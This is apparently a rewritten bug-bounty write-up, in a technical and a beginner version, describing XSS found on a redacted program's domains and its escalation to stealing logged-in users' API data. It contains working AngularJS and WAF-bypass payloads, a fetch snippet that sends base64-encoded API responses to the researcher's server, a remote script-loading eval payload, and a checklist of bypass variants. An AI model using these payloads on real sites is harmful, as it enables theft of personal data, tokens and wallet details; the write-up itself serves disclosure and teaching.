14.04.2020
Published on medium.com
This article is all about utilizing my lock-down time in finding bugs under a private program whose name has to be redacted here. █████’s program is active since years with list of professional & responsible hackers named in their Hall Of Fametill today’s year. Still I managed to find multiple XSS and escalated impact…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is a story about hunting on a private bug bounty program whose name the author redacts. The program had been active for years and had a Hall of Fame listing professional and responsible hackers, yet the author still found multiple XSS issues and escalated one of them into theft of sensitive user data. The article is written to help newcomers understand impact escalation and gain in-depth knowledge of XSS.
The assets involved were several domains and sub-domains of the program. The most important one was a production sub-domain used for login and authentication, referred to as important.█████.com. Later the author moved to the primary domain, █████.com, and to its APIs.
Setup
The author worked manually, with dates in April 2020 recorded in the report. The tools mentioned are:
- Sublist3r, Amass, findomain, subfinder for active and passive sub-domain discovery, with all outputs merged into one list.
- ffuf for content discovery on domains that looked potentially juicy.
- waybackurls to collect endpoints for a domain.
- Arjun to find valid and hidden parameters.
- The browser console for trial and error.
No accounts, roles or versions are described. The only precondition that matters is that the victim is logged in: the final data-stealing payload affects logged-in users who click the crafted URL.
Finding it
14.04.2020
The author started active and passive discovery of domains and all in-scope assets, merged the outputs of the sub-domain tools into one list, sorted it, and probed every entry by hand. Each domain was visited one by one, and domains that seemed potentially juicy were fuzzed with ffuf.
17.04.2020
After two days of manual work, one domain produced a good list of endpoints via waybackurls. Arjun was used to find valid parameters, and one of them reflected input. The payload used was:
1"><div+onload=alert()>XSS-FOREVER</div>
This gave a reflection on that domain.
18.04.2020
The next day the author went deeper and found a potential XSS input on important.█████.com, the sub-domain used for login and authentication and running in production. That domain had very tough WAF rules that blocked every attempt to pop the XSS.
The blocked entities were:
'single quotes<>tag characters-
BACK-TICK []square brackets- XSS keywords such as
alert,prompt,console.logand so on
The white-listed characters left were () round brackets, " double quotes and {} curly brackets.
The reflection happened inside an AngularJS directive:
<tag ng-init="█████= { … parameter: 'reflection', … }" >
The author first tried to escape ng-init with " and use onload=alert(), but onload= and alert() were both blocked, and the tag could not be closed because <> were restricted. Every event handler was tried and none worked.
After a break, the ng-init attribute made it clear this was an AngularJS application, which pointed to client-side template injection. The PortSwigger article on XSS without HTML via client-side template injection with AngularJS was the reference used.
Basic confirmation of template evaluation:
{{7*7}} => reflected as => 49
Then an injection confirmation payload:
{}.")));foo(1)//";
This confirmed the injection point, but alert() and similar functions were blocked precisely. After reading AngularJS XSS articles, write-ups and security research papers, a valid payload was found, but it was too long to fit in one part. It was split into two parts using two different injection points.
Blocked JavaScript functions were bypassed with:
_=prompt,_(1)
The working payload at that stage was:
{{"a".constructor.prototype.charAt="".valueOf;$eval("foo()//");}}
$eval() was then found to be blocked as well, and string payloads need $eval() for execution. Angular development documentation did not offer an easy alternative to eval(), so more security research papers were read. Eventually an AngularJS function that does the same job was found:
$eval() => changed to => $evalAsync()
With bypasses in hand for every blocked entity, the final payload was formed in two parts:
https://important.█████.com/█████/█████?...¶m1=value1"+ng-value={{a="a".constructor.prototype;a.charAt="".valueOf}}¶m2=value2+ng-val={{$evalAsync("x=(_=prompt,_(1))//")}}
This produced XSS on the program's second most important domain. Many sub-domains of the same production domain were similar, so the same XSS existed on all of them and each was reported. In total there were 3 vulnerable endpoints across 4 similar domains.
27.04.2020
The author moved to another asset and started looking at how the APIs worked. While testing, a very unusual redirection was found for the 404 — Not Found case: the page was loaded and then redirected to the root endpoint, https://█████.com/.

The source code of the page was read. It contained a lot of HTML, but the redirect happened even before the page rendered. The page was handed to Arjun to look for hidden parameters such as an error message parameter. A valid parameter was found whose value was reflected inside a string assignment in a <script> tag:
var foo = 'reflection'
At this reflection only " double quotes were blocked, and on a random basis some symbols did not appear in the response. Nothing else was blocked: confirm(), eval() and the rest were available.
Basic injection was confirmed with:
Payload: ?foo='+alert()+'
Reflected: var foo = ''+alert()+''
This gave an alert on the program's primary domain. While testing the APIs the author learned that API calls could only be made from the main top domain https://█████.com and not from any sub-domain, which made this reflection a chance to escalate to something higher.
Exploitation
Step 1: the idea
The plan was to call the APIs from the injected JavaScript, copy their responses, and send those responses to the author's own server. The difficulty was the very small window available: the page where the reflection happens redirects once it loads.
Step 2: Try 0x01, fetch and exfiltrate
To stay fast, the author avoided the usual AJAX with success and error handling and wrote a compact snippet:
function fe(t) { fetch(t).then(t => t.text()).then(t => { fetch("https://my-server.com/log/?p=" + btoa(t)) })}urls = ["https://█████.com/v1/api/.../...", "https://█████.com/v2/api/.../...", "https://█████.com/v3/api/.../...", ...], urls.forEach(fe);
The function fe() makes a GET request to the URL passed to it. When the response comes back, it makes another GET request to my-server.com with the base64-encoded response body in the p parameter. The urls array lists the API endpoints to collect, and forEach() loops over them implicitly, without an explicit for() or while() loop.
The problem was that this snippet was too long for the length capacity of a GET request.
Step 3: Try 0x02, hosted script via eval
The solution was to host the JavaScript on the author's server and only call it from the injection point. The author had access to eval(), but the page redirects once it loads, so the loading had to be fast. Using async and await from the Mozilla JavaScript documentation gave the needed speed:
!async function() { let a = await function() { fetch('https://my-server.com/log.js').then(t => t.text()).then(d => { eval(d) }) }()}();
The function is called in asynchronous mode and calls an inner function in await mode, which requests the hosted JavaScript. When the response arrives, it is eval()ed. The author says this solution can be said to be a proof of bypassing CSP rules for not allowing script from an untrusted source.
Writing this in a GET request generated errors at the browser end. The solution was to base64-encode the whole snippet and pass it through decodeURIComponent(), then atob(), then eval():
█████.com/?foo='+eval(atob(decodeURIComponent('[redacted]=')))+'
Everything worked, but on roughly 2 out of 5 tries the page redirected before the data stealing happened.
Step 4: Try 0x03, break the redirect
To stop the redirect, the author needed to break JavaScript after the actions had run, by generating a JavaScript error. After analysis and trial and error, the final payload was:
█████.com/?foo='+eval(atob(decodeURIComponent('[redacted]=')))+'});var foo='{ 1,
This payload stopped the redirection and executed the actions as intended. The crafted URL could then be shared with users; a logged-in user who clicks it is affected, with no visible sign of data being stolen in the background.
Root cause
On the authentication sub-domain, user input was reflected inside an AngularJS ng-init attribute, so AngularJS compiled the injected text as a template expression. The WAF blocked a list of characters and keywords, but the application still evaluated template syntax, and AngularJS provides functions such as $evalAsync() that execute strings. The bypasses were: _=prompt,_(1) for blocked functions, $evalAsync() for blocked $eval(), and splitting the payload across two parameters to get around length limits.
On the primary domain, the hidden parameter found with Arjun was reflected inside a single-quoted string assignment in a <script> tag (var foo = 'reflection'). Only double quotes were blocked, so a single quote closed the string and arbitrary JavaScript ran in the page context. The redirect to the root endpoint on the 404 page shortened the execution window, which is why the payload had to be fast and why the final version deliberately throws a JavaScript error to stop the redirect.
Impact
For any logged-in user who clicks the crafted URL, the author demonstrated passive collection of API responses to his own server. The risks listed are:
- Leakage of user profile details: fullname, email, mobile number, date of account creation, user type, userids, ssotoken and more.
- Leakage of user address details: all added addresses, receiver name, addressid, complete address, mobile number, timestamp.
- Leakage of user wallet details: balance available in the wallet, ownedGUID, ssoId.
- Leakage of order details: orderId, ordered item, quantity, status and every order detail visible in the profile.
- Passive enumeration of every action done by the logged-in user, such as wallet statement, order history and frequently recharged mobile numbers, by adding more API addresses to the hosted JavaScript.
The author notes the attack was not limited to passive actions: active actions such as transferring wallet balance, placing orders without interaction, mobile recharge, deleting a user address and unsubscribing from subscriptions were possible through the same API calls. No proof of concept was provided for the active attacks, which decreased the reward.
Fix
The program started to deploy fixes and would notify the author for the same. The author bypassed the fixes 3 to 4 times.
First XSS
The fix was applied against the first payload:
1"><div+onload=alert()>XSS-FOREVER</div>
It was bypassed with:
1\"><x+onpointerover=alert`xss-bypass`>CLICK+HERE+FOR+DETAILS+OF+ERROR</form></body></html>
<div>, onload and () were black-listed, so <x>, onpointerover and ``alert```` were used instead. A further fix was bypassed with a Chrome-specific event handler:
1\"><x+onpointerrawupdate=alert`xss-bypass`>CLICK+HERE+FOR+DETAILS+OF+ERROR</form></body></html>
After one more fix this issue was non-vulnerable as of now.
Data stealing using XSS
The fix was applied against the final data-stealing payload:
█████.com/?foo='+eval(atob(decodeURIComponent('[redacted]=')))+'});var foo='{ 1,
() were blocked, so they were URL-encoded as %28 and %29, and a back-tick was used:
█████.com/?foo='+eval%28atob%28decodeURIComponent%28'[redacted]='%29%29%29+'}%29;var foo='{ 1,
After one more fix this was non-vulnerable as of now.
Bunch of XSS
The fix was applied against the AngularJS payload:
https://important.█████.com/█████/█████?...¶m1=value1"+ng-value={{a="a".constructor.prototype;a.charAt="".valueOf}}¶m2=value2+ng-val={{$evalAsync("x=(_=prompt,_(1))//")}}
When it was blocked, the blocking of () was bypassed with a back-tick, applicable to all the other important domains except important.█████.com:
https://important.█████.com/█████/█████?...¶m1=value1"+ng-val={{{}.")));x=alert;x(1)//"}}+"
After that fix, it was bypassed again with:
https://important.█████.com/█████/█████?...¶m1=value1"+ng-val={{{}.")));new+Function`al\ert\`XSS-By-Viren\``;//"}}+"
The blocked word alert was bypassed with al\ert.
Variants to test
- On any page that reflects input into an AngularJS attribute such as
ng-init, try{{7*7}}. A positive result is the response containing49. - When
$eval()is blocked in an AngularJS context, try$evalAsync()with a string payload. A positive result is the expression executing. - When function names such as
alertorpromptare blocked, try assigning them to a short variable, as in_=prompt,_(1). A positive result is the dialog appearing. - When the payload is too long for one parameter, split it across two injection points that are both reflected. A positive result is the combined payload executing.
- On error pages that redirect quickly, look for hidden parameters with Arjun and check whether any value lands inside a
<script>string assignment. A positive result is a reflection such asvar foo = 'reflection'. - When only double quotes are blocked in a single-quoted script string, try
?foo='+alert()+'. A positive result is the alert firing. - When a redirect cuts the execution window, append a deliberate JavaScript error after the actions, as in the final payload above. A positive result is the actions completing and the redirect not happening.
- When
()are black-listed, try URL-encoding them as%28and%29, or use back-ticks for tagged template calls. A positive result is the payload executing unchanged. - When
alertis black-listed, tryal\ertinside aFunctiontemplate call. - When
onloadand<div>are black-listed, try other elements and event handlers such as<x onpointerover=...>or the Chrome-specificonpointerrawupdate. A positive result is the handler firing.
What happened, in plain words
A security researcher tested a private bug bounty program in 2020. The program's name is redacted, but it had been running for years and had a Hall of Fame listing professional hackers. Despite that, the researcher found several cross-site scripting (XSS) bugs and turned one of them into a way to steal sensitive user data.
This article retells that story for someone who has never done security testing. You only need to know how to use a browser and a computer. Every technical term is explained where it first appears, and every payload is shown exactly as it was used, followed by a plain-language explanation.
The targets were several domains and sub-domains belonging to the program. The most important one was a production sub-domain used for login and authentication, referred to as important.█████.com. Later the researcher moved to the main domain, █████.com, and to its APIs.
Setting up
The researcher worked manually, with dates in April 2020 recorded in the report. The tools mentioned are:
- Sublist3r, Amass, findomain and subfinder for finding sub-domains, both by active probing and by passive collection from public sources. All outputs were merged into one list.
- ffuf for content discovery on domains that looked potentially interesting.
- waybackurls to collect endpoints for a domain.
- Arjun to find valid and hidden parameters.
- The browser console for trial and error.
No accounts, roles or versions are described. The only precondition that matters is that the victim is logged in: the final data-stealing payload affects logged-in users who click the crafted URL.
Finding it
14.04.2020
The researcher started active and passive discovery of domains and all in-scope assets. The outputs of the sub-domain tools were merged into one list, sorted, and every entry was probed by hand. Each domain was visited one by one, and domains that seemed potentially interesting were fuzzed with ffuf.
Why this step? Before you can test anything, you need to know what exists. Sub-domain discovery finds names like login.example.com or api.example.com that are not linked from the main site. Fuzzing means trying many possible paths (like /admin or /backup) to see which ones exist. Doing it by hand is slower but helps you notice unusual behaviour that a tool would miss.
17.04.2020
After two days of manual work, one domain produced a good list of endpoints via waybackurls. Arjun was used to find valid parameters, and one of them reflected input. The payload used was:
1"><div+onload=alert()>XSS-FOREVER</div>
This gave a reflection on that domain.
What is an endpoint? An endpoint is a specific address on a server that does something, like https://example.com/search or https://example.com/api/user. Think of it as a counter in a shop: you go to a specific counter for a specific service.
What is a parameter? A parameter is a named value you add to a URL, usually after a ?, like ?name=Alice. The server uses it to decide what to return. Think of it as filling in a form field before handing the form to the clerk.
What is reflection? Reflection means the server takes what you sent and includes it in the page it sends back, without changing it. If you type hello and the page shows hello back, that is a reflection. It becomes dangerous when the server puts your input into the page in a way that the browser treats as code.
What is XSS? Cross-site scripting (XSS) is a bug where an attacker can make a website display their own code (usually JavaScript) to another user. The browser cannot tell that the code did not come from the site, so it runs it with the site's permissions. Think of it as slipping a note into a letter that a company sends to its customer: the customer trusts the letter and follows the note.
Line by line:
1">closes an existing attribute or tag in the page. The1is just a value; the"ends a quoted string and>ends a tag.<div+onload=alert()>creates a new HTML element (div) with an event handleronload. The+signs are used instead of spaces because spaces are often blocked or encoded in URLs.alert()is a JavaScript function that shows a pop-up box. It is the simplest way to prove that code ran.XSS-FOREVER</div>is just text inside the div, used as a label.
When the page reflected this input, the browser saw a new div with an onload handler and ran alert(). That proved the input was being treated as HTML, not as plain text.
18.04.2020
The next day the researcher went deeper and found a potential XSS input on important.█████.com, the sub-domain used for login and authentication and running in production. That domain had very tough WAF rules that blocked every attempt to pop the XSS.
What is a WAF? A web application firewall (WAF) is a filter that sits in front of a website and blocks requests that look malicious. It works by matching patterns: certain characters, certain words, certain sequences. Think of it as a security guard at the door who checks your bag for items on a banned list.
What is production? Production means the live system that real users use, as opposed to a test system. Bugs there have real impact, and fixes must be careful.
The blocked entities were:
'single quotes<>tag characters-
BACK-TICK []square brackets- XSS keywords such as
alert,prompt,console.logand so on
The white-listed characters left were () round brackets, " double quotes and {} curly brackets.
Why does this matter? If the WAF blocks the characters and words you normally use to write JavaScript, you cannot simply paste a standard payload. You have to find another way to express the same thing using only the allowed characters. This is called a bypass.
The reflection happened inside an AngularJS directive:
<tag ng-init="█████= { … parameter: 'reflection', … }" >
What is AngularJS? AngularJS is a JavaScript framework for building web pages. It lets developers write special attributes in HTML, like ng-init, which AngularJS reads and evaluates as expressions. Think of it as a mini-language embedded in the page: the browser itself does not understand ng-init, but AngularJS does, and it runs whatever is inside.
What is a directive? A directive is an instruction to AngularJS, written as an attribute (like ng-init) or an element. It tells AngularJS to do something with that part of the page.
The researcher first tried to escape ng-init with " and use onload=alert(), but onload= and alert() were both blocked, and the tag could not be closed because <> were restricted. Every event handler was tried and none worked.
Why try that? The usual way to get XSS is to break out of the attribute and add your own event handler. But if the characters needed to break out are blocked, that path is closed.
After a break, the ng-init attribute made it clear this was an AngularJS application, which pointed to client-side template injection. The PortSwigger article on XSS without HTML via client-side template injection with AngularJS was the reference used.
What is client-side template injection? In AngularJS, text inside {{ }} is evaluated as an expression. If user input lands inside such an expression, the attacker can make AngularJS evaluate their own expression. This is called client-side template injection (CSTI). It is a type of XSS that does not need HTML tags at all.
Basic confirmation of template evaluation:
{{7*7}} => reflected as => 49
Line by line: {{7*7}} is an AngularJS expression that multiplies 7 by 7. If the page shows 49, AngularJS evaluated it. If it showed {{7*7}} literally, it did not.
Then an injection confirmation payload:
{}.")));foo(1)//";
Line by line: This is a fragment of JavaScript designed to close existing brackets and call a function foo. The // starts a comment, so the rest of the line is ignored. It is used to see whether the injection point can execute JavaScript at all.
This confirmed the injection point, but alert() and similar functions were blocked precisely. After reading AngularJS XSS articles, write-ups and security research papers, a valid payload was found, but it was too long to fit in one part. It was split into two parts using two different injection points.
Why split? Some servers or WAFs limit the length of a single parameter. If your payload is longer than the limit, you can put part of it in one parameter and part in another, as long as both are reflected on the same page and run in the same context.
Blocked JavaScript functions were bypassed with:
_=prompt,_(1)
Line by line: _=prompt assigns the function prompt (which shows a dialog asking for input) to a short variable named _. Then _(1) calls that function with argument 1. Because the WAF was blocking the literal word prompt, using a variable name hides it. The comma operator runs both expressions in order.
The working payload at that stage was:
{{"a".constructor.prototype.charAt="".valueOf;$eval("foo()//");}}
Line by line: This is an AngularJS expression. "a".constructor.prototype reaches the prototype of strings, which is a shared object that all strings inherit from. Setting charAt to "".valueOf changes what charAt does. Then $eval("foo()//") asks AngularJS to evaluate the string foo()// as code. The // comments out the rest. The purpose is to get AngularJS to execute a string.
$eval() was then found to be blocked as well, and string payloads need $eval() for execution. Angular development documentation did not offer an easy alternative to eval(), so more security research papers were read. Eventually an AngularJS function that does the same job was found:
$eval() => changed to => $evalAsync()
What is $eval and $evalAsync? Both are AngularJS functions that take a string and evaluate it as an expression. $eval runs it immediately; $evalAsync schedules it to run soon, asynchronously. If the WAF blocks the name $eval, using $evalAsync may slip through because it is a different string.
With bypasses in hand for every blocked entity, the final payload was formed in two parts:
https://important.█████.com/█████/█████?...¶m1=value1"+ng-value={{a="a".constructor.prototype;a.charAt="".valueOf}}¶m2=value2+ng-val={{$evalAsync("x=(_=prompt,_(1))//")}}
Line by line:
- The URL has two parameters,
param1andparam2, both reflected. - In
param1,value1"+ng-value=breaks out of the existing attribute and starts a new AngularJS attributeng-value. Its value is{{a="a".constructor.prototype;a.charAt="".valueOf}}, which sets up the string prototype as before. - In
param2,value2+ng-val=starts another AngularJS attribute. Its value is{{$evalAsync("x=(_=prompt,_(1))//")}}, which schedules the evaluation ofx=(_=prompt,_(1))//. That assignspromptto_and calls it, showing a dialog. - The two parts together form a complete exploit because both are evaluated on the same page.
This produced XSS on the program's second most important domain. Many sub-domains of the same production domain were similar, so the same XSS existed on all of them and each was reported. In total there were 3 vulnerable endpoints across 4 similar domains.
27.04.2020
The researcher moved to another asset and started looking at how the APIs worked. While testing, a very unusual redirection was found for the 404 — Not Found case: the page was loaded and then redirected to the root endpoint, https://█████.com/.
What is an API? An API (application programming interface) is a set of URLs that a website's own JavaScript uses to get or send data, usually in a machine-readable format like JSON. Think of it as the service counter behind the shop: the shop assistant (the page) goes to the counter to fetch your order details. If you can call the counter directly, you can get the same data.
What is a 404? A 404 is the HTTP status code for "not found". When you request a page that does not exist, the server often returns a 404 page.
What is a redirect? A redirect is when the server tells the browser to go to a different URL instead. Here, the 404 page loaded briefly and then sent the browser to the site's home page.

The source code of the page was read. It contained a lot of HTML, but the redirect happened even before the page rendered. The page was handed to Arjun to look for hidden parameters such as an error message parameter. A valid parameter was found whose value was reflected inside a string assignment in a <script> tag:
var foo = 'reflection'
Line by line: This is JavaScript inside the page. It creates a variable named foo and assigns it the string 'reflection'. The word reflection is where the user input appears. Because it is inside single quotes, the input is treated as a string, but if an attacker can close the quote, they can add code.
At this reflection only " double quotes were blocked, and on a random basis some symbols did not appear in the response. Nothing else was blocked: confirm(), eval() and the rest were available.
Why is this promising? If only double quotes are blocked, you can use single quotes to break out of the string. And because eval() is available, you can run arbitrary code from a string.
Basic injection was confirmed with:
Payload: ?foo='+alert()+'
Reflected: var foo = ''+alert()+''
Line by line: The payload '+alert()+' is placed in the foo parameter. In the page, it becomes var foo = ''+alert()+''. The first ' closes the string, then +alert()+ calls alert() and concatenates its result (undefined) with empty strings. The browser runs alert().
This gave an alert on the program's primary domain. While testing the APIs the researcher learned that API calls could only be made from the main top domain https://█████.com and not from any sub-domain, which made this reflection a chance to escalate to something higher.
What does "only from the main domain" mean? The API only accepts calls that come from the main site. This is a security measure, but it also means that code running on the main site can call the API, which is exactly what the attacker needs.
Exploitation
Step 1: the idea
The plan was to call the APIs from the injected JavaScript, copy their responses, and send those responses to the researcher's own server. The difficulty was the very small window available: the page where the reflection happens redirects once it loads.
Why is the window small? The redirect happens as soon as the page loads, so any JavaScript must run before the browser leaves the page. If the redirect happens first, the code never runs.
Step 2: Try 0x01, fetch and exfiltrate
To stay fast, the researcher avoided the usual AJAX with success and error handling and wrote a compact snippet:
function fe(t) { fetch(t).then(t => t.text()).then(t => { fetch("https://my-server.com/log/?p=" + btoa(t)) })}urls = ["https://█████.com/v1/api/.../...", "https://█████.com/v2/api/.../...", "https://█████.com/v3/api/.../...", ...], urls.forEach(fe);
Line by line:
function fe(t) { ... }defines a function namedfethat takes one argumentt(a URL).fetch(t)makes a GET request to that URL.fetchis a built-in browser function for network requests..then(t => t.text())waits for the response and reads its body as text. The arrow functiont => t.text()takes the response and returns its text..then(t => { fetch("https://my-server.com/log/?p=" + btoa(t)) })takes that text, encodes it in base64 withbtoa, and sends it to the attacker's server in thepparameter.urls = [...]is an array of API endpoints to call.urls.forEach(fe)callsfefor each URL in the array.forEachis a built-in array method that loops without an explicitfororwhile.
What is base64? Base64 is a way to represent binary data as text using only letters, digits and a few symbols. It is often used to safely put data in a URL. btoa encodes, atob decodes.
What is exfiltration? Exfiltration is the act of stealing data by sending it out to a server the attacker controls.
The problem was that this snippet was too long for the length capacity of a GET request.
Why is length a problem? Browsers and servers have limits on URL length. If the payload is too long, the request may be truncated or rejected.
Step 3: Try 0x02, hosted script via eval
The solution was to host the JavaScript on the researcher's server and only call it from the injection point. The researcher had access to eval(), but the page redirects once it loads, so the loading had to be fast. Using async and await from the Mozilla JavaScript documentation gave the needed speed:
!async function() { let a = await function() { fetch('https://my-server.com/log.js').then(t => t.text()).then(d => { eval(d) }) }()}();
Line by line:
!async function() { ... }()defines an asynchronous function and calls it immediately. The!makes it an expression, and the trailing()invokes it.let a = await function() { ... }()declares a variableaand awaits the result of an inner function that is called immediately.- Inside,
fetch('https://my-server.com/log.js')requests the hosted script. .then(t => t.text())reads the response as text..then(d => { eval(d) })takes that textdand runs it witheval.
What is eval? eval is a JavaScript function that takes a string and runs it as code. It is dangerous because it turns data into code.
What is async/await? These are JavaScript keywords for handling operations that take time, like network requests. await pauses the function until the request finishes, without blocking the whole page. This makes the code shorter and faster to write.
The researcher says this solution can be said to be a proof of bypassing CSP rules for not allowing script from an untrusted source.
What is CSP? Content Security Policy (CSP) is a browser feature that lets a site declare which sources of script are allowed. If CSP blocks my-server.com, the browser will not load a script from there. But eval of a string is sometimes allowed even when external scripts are blocked, depending on the policy.
Writing this in a GET request generated errors at the browser end. The solution was to base64-encode the whole snippet and pass it through decodeURIComponent(), then atob(), then eval():
█████.com/?foo='+eval(atob(decodeURIComponent('[redacted]=')))+'
Line by line:
- The payload is placed in the
fooparameter. '+closes the string in the page and starts concatenation.eval(starts the evaluation.atob(decodes base64 to a string.decodeURIComponent(decodes any percent-encoding in the string.- The long string is the base64-encoded version of the async function above.
)))+'closes the calls and the string.
Everything worked, but on roughly 2 out of 5 tries the page redirected before the data stealing happened.
Step 4: Try 0x03, break the redirect
To stop the redirect, the researcher needed to break JavaScript after the actions had run, by generating a JavaScript error. After analysis and trial and error, the final payload was:
█████.com/?foo='+eval(atob(decodeURIComponent('[redacted]=')))+'});var foo='{ 1,
Line by line: This is the same as the previous payload, but with '});var foo='{ 1, appended. After the eval runs, the extra '}); closes the string and the eval call, then var foo='{ 1, starts a new variable assignment with an unclosed object literal. That is a syntax error, which stops the rest of the script, including the redirect. The actions have already run by then.
This payload stopped the redirection and executed the actions as intended. The crafted URL could then be shared with users; a logged-in user who clicks it is affected, with no visible sign of data being stolen in the background.
Root cause
On the authentication sub-domain, user input was reflected inside an AngularJS ng-init attribute, so AngularJS compiled the injected text as a template expression. The WAF blocked a list of characters and keywords, but the application still evaluated template syntax, and AngularJS provides functions such as $evalAsync() that execute strings. The bypasses were: _=prompt,_(1) for blocked functions, $evalAsync() for blocked $eval(), and splitting the payload across two parameters to get around length limits.
On the primary domain, the hidden parameter found with Arjun was reflected inside a single-quoted string assignment in a <script> tag (var foo = 'reflection'). Only double quotes were blocked, so a single quote closed the string and arbitrary JavaScript ran in the page context. The redirect to the root endpoint on the 404 page shortened the execution window, which is why the payload had to be fast and why the final version deliberately throws a JavaScript error to stop the redirect.
Impact
For any logged-in user who clicks the crafted URL, the researcher demonstrated passive collection of API responses to his own server. The risks listed are:
- Leakage of user profile details: fullname, email, mobile number, date of account creation, user type, userids, ssotoken and more.
- Leakage of user address details: all added addresses, receiver name, addressid, complete address, mobile number, timestamp.
- Leakage of user wallet details: balance available in the wallet, ownedGUID, ssoId.
- Leakage of order details: orderId, ordered item, quantity, status and every order detail visible in the profile.
- Passive enumeration of every action done by the logged-in user, such as wallet statement, order history and frequently recharged mobile numbers, by adding more API addresses to the hosted JavaScript.
What is a token? A token (like ssotoken) is a piece of data that proves you are logged in. If an attacker steals it, they may be able to act as you. Think of it as a temporary key card.
The researcher notes the attack was not limited to passive actions: active actions such as transferring wallet balance, placing orders without interaction, mobile recharge, deleting a user address and unsubscribing from subscriptions were possible through the same API calls. No proof of concept was provided for the active attacks, which decreased the reward.
Fix
The program started to deploy fixes and would notify the author for the same. The researcher bypassed the fixes 3 to 4 times.
First XSS
The fix was applied against the first payload:
1"><div+onload=alert()>XSS-FOREVER</div>
It was bypassed with:
1\"><x+onpointerover=alert`xss-bypass`>CLICK+HERE+FOR+DETAILS+OF+ERROR</form></body></html>
Line by line: 1\"> uses a backslash before the quote, which can help in some contexts. <x is a custom element name; the browser treats unknown tags as generic elements. onpointerover is an event handler that fires when the pointer moves over the element. alertxss-bypass`` uses a tagged template literal: the back-tick calls alert with the string xss-bypass. The rest is filler to make the page look like an error message.
<div>, onload and () were black-listed, so <x>, onpointerover and ``alert```` were used instead. A further fix was bypassed with a Chrome-specific event handler:
1\"><x+onpointerrawupdate=alert`xss-bypass`>CLICK+HERE+FOR+DETAILS+OF+ERROR</form></body></html>
Line by line: Same as above, but onpointerrawupdate is an event that fires on raw pointer updates in Chrome. It is less commonly blocked.
After one more fix this issue was non-vulnerable as of now.
Data stealing using XSS
The fix was applied against the final data-stealing payload:
█████.com/?foo='+eval(atob(decodeURIComponent('[redacted]=')))+'});var foo='{ 1,
() were blocked, so they were URL-encoded as %28 and %29, and a back-tick was used:
█████.com/?foo='+eval%28atob%28decodeURIComponent%28'[redacted]='%29%29%29+'}%29;var foo='{ 1,
Line by line: Every ( is replaced by %28 and every ) by %29. The browser decodes these before running the JavaScript, so the code is the same, but the WAF sees different characters. The back-tick is used elsewhere in the payload as a tagged template.
After one more fix this was non-vulnerable as of now.
Bunch of XSS
The fix was applied against the AngularJS payload:
https://important.█████.com/█████/█████?...¶m1=value1"+ng-value={{a="a".constructor.prototype;a.charAt="".valueOf}}¶m2=value2+ng-val={{$evalAsync("x=(_=prompt,_(1))//")}}
When it was blocked, the blocking of () was bypassed with a back-tick, applicable to all the other important domains except important.█████.com:
https://important.█████.com/█████/█████?...¶m1=value1"+ng-val={{{}.")));x=alert;x(1)//"}}+"
Line by line: {{{}. starts an AngularJS expression that opens an object literal. "))); closes strings and parentheses to break out. x=alert;x(1) assigns alert to x and calls it. //"}}+" comments out the rest and closes the expression.
After that fix, it was bypassed again with:
https://important.█████.com/█████/█████?...¶m1=value1"+ng-val={{{}.")));new+Function`al\ert\`XSS-By-Viren\``;//"}}+"
Line by line: new Function creates a new function from a string. The back-tick starts a tagged template, and al\ert is alert with a backslash before the e, which the WAF may not recognise as the blocked word. The function is called with the string XSS-By-Viren.
The blocked word alert was bypassed with al\ert.
Variants to test
- On any page that reflects input into an AngularJS attribute such as
ng-init, try{{7*7}}. A positive result is the response containing49. - When
$eval()is blocked in an AngularJS context, try$evalAsync()with a string payload. A positive result is the expression executing. - When function names such as
alertorpromptare blocked, try assigning them to a short variable, as in_=prompt,_(1). A positive result is the dialog appearing. - When the payload is too long for one parameter, split it across two injection points that are both reflected. A positive result is the combined payload executing.
- On error pages that redirect quickly, look for hidden parameters with Arjun and check whether any value lands inside a
<script>string assignment. A positive result is a reflection such asvar foo = 'reflection'. - When only double quotes are blocked in a single-quoted script string, try
?foo='+alert()+'. A positive result is the alert firing. - When a redirect cuts the execution window, append a deliberate JavaScript error after the actions, as in the final payload above. A positive result is the actions completing and the redirect not happening.
- When
()are black-listed, try URL-encoding them as%28and%29, or use back-ticks for tagged template calls. A positive result is the payload executing unchanged. - When
alertis black-listed, tryal\ertinside aFunctiontemplate call. - When
onloadand<div>are black-listed, try other elements and event handlers such as<x onpointerover=...>or the Chrome-specificonpointerrawupdate. A positive result is the handler firing.
Glossary
- API: A set of URLs that a website's own code uses to get or send data, usually in a machine-readable format.
- AngularJS: A JavaScript framework that lets developers write special attributes in HTML, which it evaluates as expressions.
- Base64: A way to represent binary data as text using letters, digits and a few symbols.
- Bug bounty program: A program where organisations reward people for finding and reporting security bugs.
- Client-side template injection (CSTI): A type of XSS where user input is evaluated as a template expression by a client-side framework like AngularJS.
- Content Security Policy (CSP): A browser feature that lets a site declare which sources of script are allowed.
- Directive: An instruction to AngularJS, written as an attribute or element.
- Endpoint: A specific address on a server that does something.
- Exfiltration: The act of stealing data by sending it to a server the attacker controls.
- GET request: An HTTP request that asks for a resource, with parameters in the URL.
- Parameter: A named value added to a URL, usually after a
?. - Production: The live system that real users use.
- Reflection: When a server includes user input in the page it sends back, without changing it.
- Token: A piece of data that proves you are logged in, like a temporary key card.
- WAF (web application firewall): A filter that blocks requests that look malicious based on patterns.
- XSS (cross-site scripting): A bug where an attacker can make a website display their own code to another user.
- 404: The HTTP status code for "not found".
- Redirect: When the server tells the browser to go to a different URL instead.